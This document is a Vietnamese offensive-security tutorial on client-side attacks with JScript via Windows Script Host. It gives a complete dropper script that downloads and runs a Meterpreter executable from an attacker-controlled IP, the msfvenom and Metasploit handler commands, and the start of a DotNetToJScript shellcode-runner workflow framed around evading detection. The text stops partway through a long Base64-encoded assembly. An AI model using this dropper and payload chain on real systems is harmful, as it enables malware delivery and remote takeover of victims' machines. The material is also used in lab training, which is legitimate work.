# Client side attack with Jscript Trong các phần trước chúng ta đã tìm hiểu về `macro VBA` của `Microsoft Office` hiệu quả để thực thi code ở phía client. Ở phần này tôi muốn giới thiệu một cách khác với định dạng tập tin Jscript(https://en.wikipedia.org/wiki/JScript) để thực thi Javascript trên các máy Windows thông qua `Windows Script Host` (https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript). Chúng ta sẽ bắt đầu với một công cụ đơn giản mở command port và nâng cao các cuộc tấn công cách tải code `Assembly C#` đã biên dịch thông qua bộ nhớ để thực thi trình chạy `shellcode` hoàn toàn trong bộ nhớ ## Tạo một Dropper cơ bản trong Jscript Ngôn ngữ lập trình phía client cho trình duyệt web là Javascript. Đây là một ngôn ngữ được trình duyệt xử lý và thường hoạt động cùng với HTML và CSS để tạo ra hầu hết nội dung trên Worđ Wide Web. Chức năng của Javascript dựa trên tiêu chuẩn ECMAScript https://en.wikipedia.org/wiki/ECMAScript JScript là một ngôn ngữ lập trình của JavaScript được phát triển và sở hữu bởi Microsoft, được sử dụng trong Internet Explorer. Nó cũng có thể được thực thi bên ngoài trình duyệt thông qua Windows Script Host, nơi có thể thực thi các tập lệnh bằng nhiều ngôn ngữ khác nhau. https://en.wikipedia.org/wiki/Windows_Script_Host ## Thực thi Jscript trên Windows Trong Windows, định dạng của một tập tin được xác định bằng phần mở rộng của tập tin chứ không phải nội dung thực tế của nó. Ngoài ra phần mở rộng tập tin thường được liên kết với các ứng dụng mặc định. Để xem nó liên kết với ứng dụng nào chúng ta vào `Setting`->`Default App` ![image](https://hackmd.io/_uploads/SyMLYIcNbx.png) ![image](https://hackmd.io/_uploads/ByhFtLqEWl.png) Khi lướt xuống dưới chúng ta thấy được các ứng dụng mặc định cho các file `.ps1` là Notepad. Điều này có nghĩa là nếu chúng ta nhấp đúp vào một kịch bản Powershell nó sẽ không thực thi mà thay vào đó nó sẽ được mở để chỉnh sửa trong `Notepad`. Chính vì thế nên không thể thuyết phục nạn nhân ấn vào file Powershell được vì nó không khả thi Mặt khác ứng dụng mặc định cho các file `.js` là Script Host dựa trên Windows. Điều này có nghĩa là khi nhấn đúp vào file `.js `thì nó sẽ thực thi nội dung bên trong. https://en.wikipedia.org/wiki/ActiveX Việc thực thi Jscript bên ngoài trình duyệt web sẽ bỏ qua tất cả các biện pháp bảo mật. Điều này cho phép chúng ta tương tác với công nghệ `ActiveX` và chính công cụ Windows Script Host. Chúng ta có thể tận dụng ActiveX bằng cách gọi hàm tạo `ActiveXObject `và cung cấp tên của đối tượng. Sau đó sử dụng WScript.shell để tương tác với Windows script host shell nhằm thực thi các ứng dụng windows bên ngoài. Ví dụ chúng ta có thể tạo một đối tượng `Shell` có tên là "shell" từ lớp WScript.Shell thông qua hàm tạo ActiveXObject để chạy cmd.exe thông qua lệnh `run` ```shell var shell = new ActiveXObject("WScript.Shell") var res = shell.Run("cmd.exe"); ``` Thực hiện lưu chúng với tên file .js và nhấn đúp vào nó lệnh sẽ được thực thi và mở `cmd` ![image](https://hackmd.io/_uploads/BJPALoqEWx.png) Bản thân Windows Script Host sẽ tự động thoát ngay khi tập lệnh Jscrip hoàn tất. Vậy nên chúng ta không thấy nó trong `Process Explorer` Trong phần tiếp theo, chúng ta sẽ tiếp tục phát triển điều này để tạo ra một công cụ thả mã độc Jscript có khả năng thực thi `reverse shell` ## Jscript Meterpreter Dropper Phần này mình sẽ hướng dẫn sử dụng Jscript để tạo một công cụ tải xuống và thực thi payload Meterpreter từ máy chủ Kali của chúng ta. Đầu tiên chúng ta sẽ sử dụng msfvenom để tạo một payload reverse HTTPS Meterpreter 64-bit có tên j đó .exe và lưu nó trong web root của Kali. Chúng ta sẽ thiết lập một Metasploit multi/handler để bắt session đó. Khi tạo xong chúng ta bắt đầu xây dựng code để triển khai. Bắt đầu với một request HTTP GET đơn giản từ Jscript Để làm được điều đó chúng ta có thể sử dụng đối tượng `MSXML2.XMLHTTP`, dựa trên [Microsoft XML core service](https://en.wikipedia.org/wiki/MSXML). Đây là một HTTP client có sẵn trên Windows giúp gửi request đến server. Chúng ta sử dụng `CreatObject` để tạo object `MSXML2.XMLHTTP` rồi gọi `Open` và `Send` để gửi request GET . Phương thức `Open` có 3 tham số: - Tham số 1: Loại request (GET) - Tham số 2: URL cần request - Tham số 3: `false` = đồng bộ (chờ xong mới chạy tiếp) Tóm lại: ta khai báo URL chứa file Meterpreter, tạo HTTP client, rồi gửi request GET để tải file về. ```javascript var url = "http://192.168.16.4/met.exe" var Object = WScript.CreateObject('MSXML2.XMLHTTP'); Object.Open('GET', url, false); Object.Send(); ``` Bây giờ chúng ta đã gửi yêu cầu `HTTP GET`, chúng ta sẽ thực hiện hai hành động. Hành động đầu tiên là xác định xem yêu cầu có thành công hay không. Chúng ta có thể làm điều này bằng cách kiểm tra thuộc tính [Status](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms767625%28v%3dvs.85%29) của đối tượng MSXML2.XMLHTTP và so sánh nó với giá trị "[200](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/200)", mã trạng thái HTTP OK . Chúng ta sẽ sử dụng câu lệnh if : ```javascript if (Object.Status == 200) { ``` Sau khi nhận được trạng thái thành công, chúng ta sẽ tạo một đối tượng [Stream](https://www.w3schools.com/asp/ado_ref_stream.asp) và sao chép phản hồi HTTP vào đó để xử lý tiếp. Đối tượng Stream được khởi tạo từ `ADODB.Stream` thông qua phương thức `CreateObject` . ```javascript var Stream = WScript.CreateObject('ADODB.Stream'); ``` Tiếp theo, ta cấu hình và sử dụng object Stream: ```javascript Stream.Open(); Stream.Type = 1; // adTypeBinary Stream.Write(Object.ResponseBody); Stream.Position = 0; ``` - `Stream.Open()`: Mở stream để bắt đầu làm việc với nó - `Stream.Type = 1`: Đặt kiểu dữ liệu là binary. Giá trị 1 tương ứng với hằng số `adTypeBinary`, cho biết ta đang làm việc với dữ liệu nhị phân chứ không phải text - `Stream.Write(Object.ResponseBody)`: Ghi nội dung response (chính là file .exe vừa tải) vào stream. `ResponseBody` chứa toàn bộ dữ liệu binary mà server trả về - `Stream.Position = 0`: Đặt lại vị trí con trỏ về đầu stream. Sau khi ghi dữ liệu, con trỏ đang ở cuối, ta cần đưa nó về đầu để các thao tác tiếp theo đọc từ đầu file - [Open](https://www.w3schools.com/asp/met_stream_open.asp) - [Type](https://www.w3schools.com/asp/prop_stream_type.asp) - [Write](https://www.w3schools.com/asp/met_stream_write.asp) - [ResponseBody](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms753682%28v%3dvs.85%29) - [Position](https://www.w3schools.com/asp/prop_stream_position.asp) Chúng ta đã thực hiện gửi một GET Request cho tệp met.exe và đã thành công. Tiếp theo chúng ta đã ghi nội dung nhị phân vào luồng ADODB. Bây giờ với nội dung được lưu trong đối tượng `Stream`, chúng ta phải tạo một tệp ghi và ghi nội dung nhị phân vào đó. Bằng cách chúng ta sử dụng phương thức [SaveToFile](https://www.w3schools.com/asp/met_stream_savetofile.asp) Phương thức này nhận hai tham số: tham số đầu tiên là tên file tham số thứ 2 là tùy chọn lưu-`SaveOptionsEnum` Tên file của chúng ta là met.exe và SaveOtionsEnum là adSaveCreateOverWrite với giá trị là "2" để buộc ghi đè lên tệp. Sau khi thực hiện thao tác SaveToFile chúng ta cần [Close](https://www.w3schools.com/asp/met_stream_close.asp) đối tượng Stream: ```javascript Stream.SaveToFile("met.exe", 2); Stream.Close(); ``` Bước cuối cùng, chúng ta sẽ sử dụng lại Windows Script Host Shell để thực thi tập lệnh Meterpreter vừa được viết. ```javascript var r = new ActiveXObject("WScript.Shell").Run("met.exe"); ``` Đoạn mã Jscript hoàn chỉnh để tải xuống và thực thi shell Meterpreter của chúng ta được hiển thị bên dưới: ```javascript var url = "http://192.168.16.4/met.exe" var Object = WScript.CreateObject('MSXML2.XMLHTTP'); Object.Open('GET', url, false); Object.Send(); if (Object.Status == 200) { var Stream = WScript.CreateObject('ADODB.Stream'); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.Position = 0; Stream.SaveToFile("met.exe", 2); Stream.Close(); } var r = new ActiveXObject("WScript.Shell").Run("met.exe"); ``` Sau khi lưu đoạn mã này dưới dạng tệp .js , chúng ta chỉ cần nhấp đúp vào nó để lấy được shell 64-bit từ máy của nạn nhân và truyền đến trình lắng nghe multi/handler đang chờ sẵn của chúng ta. Jscript hỗ trợ cấu hình proxy thông qua phương thức [setProxy](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms760236%28v%3dvs.85%29) ## Lab demo Tạo Meterpreter Executable Trên Kali dùng msfvenom để tạo payload 64-bit: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.16.4 LPORT=443 -f exe -o /var/www/html/met.exe` ![image](https://hackmd.io/_uploads/Byn0o4oE-g.png) Khởi tạo một Web Server ![image](https://hackmd.io/_uploads/HJnf3Ei4Zx.png) Thiết lập Metasploit Handler ```shell msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 192.168.16.4 set LPORT 443 exploit -j ``` ![image](https://hackmd.io/_uploads/SyQ-a4jVZg.png) Tạo một file với tên là `shell.js` như sau ![image](https://hackmd.io/_uploads/H13LT4iVZx.png) Khi victim chạy dropper: - Meterpreter executable sẽ được download và thực thi - Handler Metasploit sẽ nhận reverse shell - Bạn có shell từ máy victim ![image](https://hackmd.io/_uploads/H1-JlHoVWg.png) # Jscript và C# Phần này chúng ta sẽ tìm hiểu kiến thức về các phần sau: - Chuyển đổi .NET sang Jscript bằng DotNetToJscript - Call Win32 API từ C# - Viết chương trình chạy mã độc (Shellcode Runner) bằng C# và JScript Trong phần trước chúng ta đã biết cách gọi các Win API. Trước đây chúng ta đã sử dụng Powershell cho việc này tuy nhiên việc bị sử dụng trong nhiều năm bởi các hacker đã bị các nhà cung cấp giải pháp bảo mật và Microsoft triển khai các biện pháp chống lại nó. Mặc dù C# cũng vậy nhưng nó vẫn được tận dụng để nâng cao kĩ năng của chúng ta bằng nhiều phương pháp khác nhau. Chúng ta sẽ sử dụng C# để giảm thiểu khả năng bị phát hiện giúp chúng ta tránh bị nhận diện. Vì không cách nào trực tiếp gọi Win API từ Jscript nên thay vào đó chúng ta sẽ nhúng một assembly C# đã biên dịch vào file Jscript đó và thực thi nó. Điều này sẽ cho chúng ta các khả năng tương tự như PowerShell vì chúng ta có quyền truy cập tương đương vào framework .NET . Đây là một kĩ thuật mạnh mẽ và phổ biến trong những năm gần đây Trước tiên chúng ta sẽ tìm hiểu các kiến thức cơ bản về môi trường để lập trình C# bằng Visual Studio > Phần này tao lười viết quá các mày ạ, hôm nay là 07/01 tao đang chìm sâu vào vô vọng nên mấy phần không liên quan đến học thuật tao sẽ bỏ qua. Nếu trong quá trình setup không hiểu có thể nhắn tin trực tiếp cho tao để hỏi nhé. ``` sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old sudo nano /etc/samba/smb.conf ``` ``` [visualstudio] path = /home/kali/data browseable = yes read only = no ``` ``` sudo smbpasswd -a kali sudo systemctl start smbd sudo systemctl start nmbd ``` ``` mkdir /home/kali/data chmod -R 777 /home/kali/data ``` **Sơ qua thì tự tra cứu để setup để backup code từ máy windows sang máy kali nhé.** Oke bắt tay vào code thôi Môi trường đã chuẩn bị xong, chúng ta sẽ bắt đầu tạo một chương trình ban đầu `"Hello World"` như bao ngôn ngữ lập trình khác. Ở visual studio chúng ta ấn vào Creat a new project từ màn hình chíhh Chúng ta sẽ chọn language thành C# và chọn `Console App (.NET Framework)` ![image](https://hackmd.io/_uploads/SJPaCIoEZg.png) Hãy xem qua một chút về không gian cơ bản. Ở phần Solution Explorer cho ta thấy được thuộc tính và nội dung của giải pháp. Chúng ta sẽ cùng xem file có tên là Program.cs như ảnh bên dưới ![image](https://hackmd.io/_uploads/Symvkwj4bg.png) Hãy cùng xem qua những phần quan trọng. Năm dòng đầu tiên chúng là các câu lệnh "using". Những lệnh này để import code từ framework .NET. Chúng ta sẽ thêm một dòng code vào bên trong Main để tạo một ứng dụng đơn giản. Phương thức chúng ta sử dụng ở đây là Console.WriteLine để in nội dung văn bản bên trong ra màn hình ứng dụng khi thực thi. Sau khi code thêm chúng ta sẽ lưu lại. Để build thành sản phẩm chúng ta sẽ chuyển sang relase và chọn build console app. Thao tác này sẽ biên dịch toàn bộ dự án hiện tại. Kết quả chúng ta có thể xem ở phần Output ![image](https://hackmd.io/_uploads/SkoiWvoEbe.png) ![image](https://hackmd.io/_uploads/BkUTZPjEZg.png) Kết quả ta có thể thấy không gặp bất cứ lỗi gì. Kết quả đầu ra cũng cho biết đường dẫn đến file thực thi vừa được biên dịch. Khi chúng ta chạy chương trình sẽ có kết quả như sau ![image](https://hackmd.io/_uploads/HJzScdsE-g.png) ## Chuyển đổi DotNet sang Jscript [DotNetToJscript](https://github.com/tyranid/DotNetToJScript) chứng minh cách thực thi code assembly C# từ Jscript. Trong phần này chúng ta cùng tìm hiểu kĩ thuật để tạo trình chạy shell code trong bộ nhớ. Trước tiên chúng ta cần vô hiệu hóa phần mã nguồn file `Program.cs` nằm trong repo ta vừa tải tại dòng 154 ![image](https://hackmd.io/_uploads/Hk-d3do4Zx.png) Đoạn code trên chỉ kiểm tra phiên bản .NET 2, điều đó sẽ làm hỏng chức năng của công cụ trên các hệ thống chạy các phiên bản runtime .NET mới hơn. Sau khi cập nhật code chúng ta sẽ truy cập vào file TestClass.cs trong dự án ExampleAssembly Chúng ta sẽ thực hiện biên dịch đoạn code này thành một tệp tin .dll sau đó chạy nó trong Jscript. Chúng ta sẽ tạo một hộp thoại thông báo Test như sau: ![image](https://hackmd.io/_uploads/rJ2Aa_sE-x.png) ```csharp using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; [ComVisible(true)] public class TestClass { public TestClass() { MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } public void RunProcess(string path) { Process.Start(path); } } ``` JScript cuối cùng sẽ thực thi nội dung của phương thức TestClass , nằm bên trong lớp TestClass . Trong trường hợp này, chúng ta chỉ đơn giản là thực thi phương thức [MessageBox.Show](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.messagebox.show?view=netframework-4.8). Sau khi biên dịch xong giải pháp, chúng ta cần di chuyển một số tập tin để DotNetToJscript hoạt động chính xác. Chúng ta sẽ điều hướng đến thư mục DotNetToJScript/bin/Release và sao chép DotNetToJscript.exe và NDesk.Options.dll vào thư mục mà chúng ta tạo ra để thực hiện thử nghiệm. Tiếp theo, chúng ta cần vào thư mục ExampleAssembly/bin/Release và sao chép ExampleAssembly.dll vào thư mục đó . Cần lưu ý rằng các tập tin .dll này phải có mặt đúng vị trí mỗi khi chúng ta thực thi chương trình DotNetToJscript. Chúng ta cần thiết lập một vài tùy chọn khi chạy chương trình. Đầu tiên, chúng ta phải chỉ định ngôn ngữ kịch bản cần sử dụng (JScript) với tham số `--lang` , cùng với `--ver` để chỉ định phiên bản .NET framework. Trên các phiên bản Windows 11 mới nhất, chỉ có phiên bản 4 của .NET framework được cài đặt và kích hoạt theo mặc định, vì vậy chúng ta sẽ chỉ định v4 . Tiếp theo, chúng ta sẽ chỉ định tệp đầu vào, trong trường hợp này là `ExampleAssembly.dll` . Cuối cùng, chúng ta sẽ sử dụng cờ `-o` để chỉ định tệp đầu ra, trong ví dụ này là một tệp Jscript. Toàn bộ lệnh được hiển thị bên dưới: ![image](https://hackmd.io/_uploads/SkxqktoEWl.png) Bây giờ file đã được tạo chúng ta sẽ chạy nó , thao tác này sẽ hiển thị cửa sổ lên ![image](https://hackmd.io/_uploads/B1d7xYi4Zg.png) Hãy xem nó thực hiện những gì. ![image](https://hackmd.io/_uploads/SyjtxFsNZg.png) Đoạn code này bắt đầu với ba hàm: `setversion` , `debug` và `base64ToStream` Hàm setversion cấu hình Windows Script Host để sử dụng phiên bản 4.0.30319 của .NET framework Hàm thứ hai ( `debug` ) trống vì chúng ta không chỉ định cờ gỡ lỗi ( `-d` ) khi gọi DotNetToJscript: Cuối cùng, hàm `base64ToStream` chỉ đơn giản là một hàm giải mã Base64 sử dụng nhiều lớp .NET khác nhau thông qua việc khởi tạo ActiveXObject: Nội dung chính của code như sau ![image](https://hackmd.io/_uploads/ByMwGFiNWg.png) ```csharp function setversion() { new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319'; } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAu"+ "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ "SG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVy"+ "ZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAA"+ "CQYAAAAJCQAAAAYRAAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0"+ "W10pBhIAAAAsU3lzdGVtLk9iamVjdCBEeW5hbWljSW52b2tlKFN5c3RlbS5PYmplY3RbXSkIAAAA"+ "CgELAAAAAgAAAAYTAAAAIFN5c3RlbS5YbWwuU2NoZW1hLlhtbFZhbHVlR2V0dGVyBhQAAABNU3lz"+ "dGVtLlhtbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu"+ "PWI3N2E1YzU2MTkzNGUwODkGFQAAAAd0YXJnZXQwCQYAAAAGFwAAABpTeXN0ZW0uUmVmbGVjdGlv"+ "bi5Bc3NlbWJseQYYAAAABExvYWQKDwwAAAAAFAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMg"+ "cHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwB6/l1p"+ "AAAAAAAAAADgACIgCwEwAAAKAAAACAAAAAAAAKYoAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAA"+ "AAAABgAAAAAAAAAAgAAAAAIAAAAAAAADAGCFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA"+ "AABUKAAATwAAAABAAAAMBAAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAHCcAABwAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAA"+ "AAAAAAAAAAAudGV4dAAAAKwIAAAAIAAAAAoAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAAAM"+ "BAAAAEAAAAAGAAAADAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAAgAAABIAAAAA"+ "AAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAiCgAAAAAAABIAAAAAgAFAHQgAACoBgAAAQAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABqAigP"+ "AAAKcgEAAHByAQAAcBYfMCgQAAAKJioiAygRAAAKJipCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMx"+ "OQAAAAAFAGwAAAAYAgAAI34AAIQCAACwAgAAI1N0cmluZ3MAAAAANAUAAAwAAAAjVVMAQAUAABAA"+ "AAAjR1VJRAAAAFAFAABYAQAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAAFQAA"+ "AAIAAAACAAAAAQAAABEAAAAPAAAAAQAAAAMAAAAAAJcBAQAAAAAABgDtAAsCBgBaAQsCBgAhANkB"+ "DwArAgAABgBJAMEBBgDQAMEBBgCxAMEBBgBBAcEBBgANAcEBBgAmAcEBBgBgAMEBBgA1AOwBBgAT"+ "AOwBBgCUAMEBBgB7AHgBBgB2AqsBCgCVAjoCCgB9AjoCCgBPAjoCCgCyAToCDgBuAtkBAAAAAAEA"+ "AAAAAAEAAQABABAAYQIAAEEAAQABAFAgAAAAAIYY0wEGAAEAayAAAAAAhgBrAhAAAQAAAAEAkgEJ"+ "ANMBAQARANMBBgAZANMBCgApANMBEAAxANMBEAA5ANMBEABBANMBEABJANMBEABRANMBEABZANMB"+ "EABhANMBFQBpANMBEABxANMBEAB5ANMBEACBANMBBgCJAJACGgCpAIoCJQAuAAsANAAuABMAPQAu"+ "ABsAXAAuACMAZQAuACsAegAuADMApAAuADsApAAuAEMAZQAuAEsAqgAuAFMApAAuAFsApAAuAGMA"+ "zwAuAGsA+QAuAHMABgFDAFsAUAEEgAAAAQAAAAAAAAAAAAAAAACgAgAABAAAAAAAAAAAAAAAKwAK"+ "AAAAAAAEAAAAAAAAAAAAAAArADoCAAAAAAQAAAAAAAAAAAAAACsAqwEAAAAAAAAAAAA8TW9kdWxl"+ "PgBtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0"+ "dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRl"+ "AFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFz"+ "c2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRl"+ "AENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRl"+ "AEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50"+ "aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAHBhdGgA"+ "RXhhbXBsZUFzc2VtYmx5LmRsbABTeXN0ZW0ATWVzc2FnZUJveEljb24AU3lzdGVtLlJlZmxlY3Rp"+ "b24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNl"+ "cwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFN5c3RlbS5X"+ "aW5kb3dzLkZvcm1zAE1lc3NhZ2VCb3hCdXR0b25zAFRlc3RDbGFzcwBSdW5Qcm9jZXNzAE9iamVj"+ "dABEaWFsb2dSZXN1bHQAU3RhcnQAU2hvdwBNZXNzYWdlQm94AEV4YW1wbGVBc3NlbWJseQAACVQA"+ "ZQBzAHQAAADcQBA1SNqHRYbMBsY8qa0MAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIKAAQRSQ4O"+ "EU0RUQUAARJVDgi3elxWGTTgiQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93"+ "cwEIAQACAAAAAAAUAQAPRXhhbXBsZUFzc2VtYmx5AAApAQAkRXhhbXBsZSBBc3NlbWJseSBmb3Ig"+ "RG90TmV0VG9KU2NyaXB0AAAFAQAAAAAkAQAfQ29weXJpZ2h0IMKpIEphbWVzIEZvcnNoYXcgMjAx"+ "NwAAKQEAJDU2NTk4ZjFjLTZkODgtNDk5NC1hMzkyLWFmMzM3YWJlNTc3NwAADAEABzEuMC4wLjAA"+ "AEkBABouTkVURnJhbWV3b3JrLFZlcnNpb249djQuOAEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUS"+ "Lk5FVCBGcmFtZXdvcmsgNC44BQEAAQAAAAAAAAAAev5daQAAAAACAAAAHAEAADgnAAA4CQAAUlNE"+ "U7rKYNBEiChLiLiRQuZUt1ABAAAAQzpcMGRheVxPU0VQXERvdE5ldFRvSlNjcmlwdC1tYXN0ZXJc"+ "RG90TmV0VG9KU2NyaXB0LW1hc3RlclxFeGFtcGxlQXNzZW1ibHlcb2JqXFJlbGVhc2VcRXhhbXBs"+ "ZUFzc2VtYmx5LnBkYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8KAAA"+ "AAAAAAAAAACWKAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiCgAAAAAAAAAAAAAAABfQ29yRGxs"+ "TWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAA"+ "AAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAACwAwAAAAAAAAAAAACw"+ "AzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAA"+ "AQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBu"+ "AGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEEAMAAAEAUwB0AHIA"+ "aQBuAGcARgBpAGwAZQBJAG4AZgBvAAAA7AIAAAEAMAAwADAAMAAwADQAYgAwAAAAYgAlAAEAQwBv"+ "AG0AbQBlAG4AdABzAAAARQB4AGEAbQBwAGwAZQAgAEEAcwBzAGUAbQBiAGwAeQAgAGYAbwByACAA"+ "RABvAHQATgBlAHQAVABvAEoAUwBjAHIAaQBwAHQAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBh"+ 